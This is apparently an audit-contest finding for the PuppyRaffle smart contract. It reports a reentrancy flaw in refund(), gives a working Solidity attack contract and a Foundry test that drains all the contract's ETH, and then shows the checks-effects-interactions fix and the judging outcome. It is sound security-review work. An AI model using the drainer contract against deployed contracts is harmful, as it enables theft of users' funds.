Submission Details
Severity:
Attacker can drain the contract using reentrancy
Summary
Reentrancy attack is possible in the refund function.
Vulnerability Details
The refund function does not follow CEI and is vulnerable to reentrancy attack.
Impact
Attacker can drain all the eth in the smart contract.
Tools Used
Manual Review, Foundry
Proof of Concept
Created
Hack.sol
import {PuppyRaffle} from "./PuppyRaffle.sol";
contract Hack {
uint256 entranceFee;
uint256 playerIndex;
address owner;
PuppyRaffle puppyRaffle;
constructor(address _puppyRaffle) {
owner = msg.sender;
puppyRaffle = PuppyRaffle(_puppyRaffle);
}
function attack() external payable {
entranceFee = puppyRaffle.entranceFee();
address[] memory players = new address[](1);
players[0] = address(this);
puppyRaffle.enterRaffle{value: msg.value}(players);
playerIndex = puppyRaffle.getActivePlayerIndex(address(this));
puppyRaffle.refund(playerIndex);
(bool success, ) = payable(owner).call{value: address(this).balance}("");
require(success, "attack failed");
}
receive() external payable {
if (address(puppyRaffle).balance >= entranceFee) {
puppyRaffle.refund(playerIndex);
}
}
}
Added test case
function testCanReenterWhenRefund() public playerEntered {
// Some players entered the raffle befor the attack
address[] memory players = new address[](2);
players[0] = playerTwo;
players[1] = playerThree;
puppyRaffle.enterRaffle{value: entranceFee * 2}(players);
assertEq(address(puppyRaffle).balance, 3e18);
// Execute the attack
address attacker = address(10);
vm.prank(attacker);
Hack hack = new Hack(address(puppyRaffle));
hack.attack{value: entranceFee}();
// Validate the attack
assertEq(address(puppyRaffle).balance, 0);
assertEq(attacker.balance, 4e18);
}
[PASS] testCanReenterWhenRefund() (gas: 518079)
Recommendations
Follow the CEI pattern. Make the following change:
+ players[playerIndex] = address(0);
payable(msg.sender).sendValue(entranceFee); // @audit-info potential reentrancy
- players[playerIndex] = address(0);
[FAIL. Reason: Address: unable to send value, recipient may have reverted] testCanReenterWhenRefund() (gas: 500466)
Updates
Lead Judging Commences
Hamiltonite about 2 years ago
Submission Judgement Published Assigned finding tags:
reentrancy-in-refund
reentrancy in refund() function
Rewards breakdown
nSLOC
143This contest has a flat reward structure with the following payouts:
100 EXP
20 EXP
2 EXP
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